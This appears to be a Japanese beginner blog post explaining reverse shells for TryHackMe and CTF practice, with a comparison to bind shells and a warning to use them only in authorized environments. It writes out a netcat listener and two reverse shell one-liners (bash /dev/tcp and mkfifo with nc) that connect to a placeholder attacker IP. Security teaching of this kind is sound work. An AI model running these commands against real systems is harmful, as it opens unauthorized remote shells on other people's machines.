reverse shellとは?初心者向けにわかりやすく解説【TryHackMe・セキュリティ学習用】

セキュリティ学習やCTF(Capture The Flag)、TryHackMeといったプラットフォームを使っていると、「reverse shell(リバースシェル)」という言葉をよく耳にします。

しかし、聞き慣れない方にとっては「reverse shellとは何か」「どんな場面で使うのか」が分かりにくいかもしれません。

本記事では、初心者の方にも分かりやすいよう、reverse shellの基本や仕組み、具体例を丁寧にご説明いたします。


目次

reverse shellとは何か?

reverse shell(リバースシェル)とは、攻撃対象(被害者)から攻撃者の端末へ接続を張り、その接続を通じてシェル(コマンド操作)の権限を得る仕組みのことです。

通常、リモート接続と言えば、SSHやRDPのように「自分(攻撃者)からターゲットへ接続」しますが、reverse shellはその逆です。

つまり、ターゲットのマシンから、攻撃者のマシンへ自発的に接続するため、「reverse(逆)」という名称が付いています

この技術は、以下のような場面で利用されます。

  • 脆弱なWebアプリケーションへの侵入後、より高度な操作を行う
  • ファイアウォールやNATの内側にある端末に、外部からアクセスする
  • 権限昇格や情報収集のために、シェル操作環境を確保する

もちろん、正規の利用目的は「セキュリティテスト」や「学習目的」に限られます。


reverse shellの仕組み

reverse shellの基本的な流れは以下のとおりです。

① 攻撃者側(自分の端末)でリスナーを待機

まず、攻撃者側の端末(例:Kali Linux)で、待ち受け用のリスナーを起動します。

例:

nc -lvnp 4444

これで、4444番ポートで接続を待ち受ける状態になります。


② ターゲットからreverse shellコマンドを実行

次に、攻撃対象のマシンから、以下のようなコマンドを実行します。

例:

bash -i >& /dev/tcp/攻撃者IP/4444 0>&1

このコマンドにより、ターゲットの端末が攻撃者の端末へ接続を行い、その通信経路を通じてシェル操作が可能になります。


③ 攻撃者側でターゲットのシェルを取得

ターゲットからの接続が確立すると、攻撃者側のリスナーでシェル操作ができるようになります。

これにより、ターゲットのファイル操作、情報収集、さらなる侵入が可能になるのです。


reverse shellの具体例

以下は、nc(Netcat)を使ったreverse shellの代表的なコマンド例です。

攻撃者側(リスナー)

nc -lvnp 4444

ターゲット側(reverse shell実行)

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻撃者IP 4444 > /tmp/f

このように、特定のポートで待ち受けることで、ターゲットからの接続を受け取り、シェル操作が実現します。


reverse shellとbind shellの違い

reverse shellとよく比較されるのが「bind shell(バインドシェル)」です。

項目reverse shellbind shell
接続の開始元ターゲット(被害者)側攻撃者側が接続する
ファイアウォール対策内部から接続するため通りやすい外部からの接続が必要
使用シーン内部ネットワークの侵入後などサーバーが直接公開されている場合

多くの現実的な侵入テストや演習では、ファイアウォールを考慮してreverse shellが利用されます


reverse shellは危険?倫理的な注意点

reverse shellは便利な技術ですが、使用には厳格なルールがあります。

  • 許可された環境・実習用マシンでのみ利用すること
  • 実際の本番システムや他人のマシンに無断で使用することは、法律違反となります
  • TryHackMeやHack The Boxなど、練習用プラットフォームで正しい知識を身につけることが大切です

まとめ:reverse shellを理解してセキュリティスキルを高めよう

reverse shellは、ペネトレーションテストやCTFにおいて欠かせない基本技術です。

  • ターゲットから攻撃者へ接続させる手法
  • ファイアウォールを回避して内部操作が可能
  • 正しい知識と倫理観を持って活用することが重要

本記事を参考に、reverse shellの仕組みや活用方法をしっかりと理解し、セキュリティスキルの向上に役立てていただければ幸いです。

今後もTryHackMeや関連演習を通じて、実践的な学習を進めましょう。

よかったらシェアしてね!
  • URLをコピーしました!
  • URLをコピーしました!

この記事を書いた人

私が勉強したこと、実践したこと、してることを書いているブログです。
主に資産運用について書いていたのですが、
最近はプログラミングに興味があるので、今はそればっかりです。

目次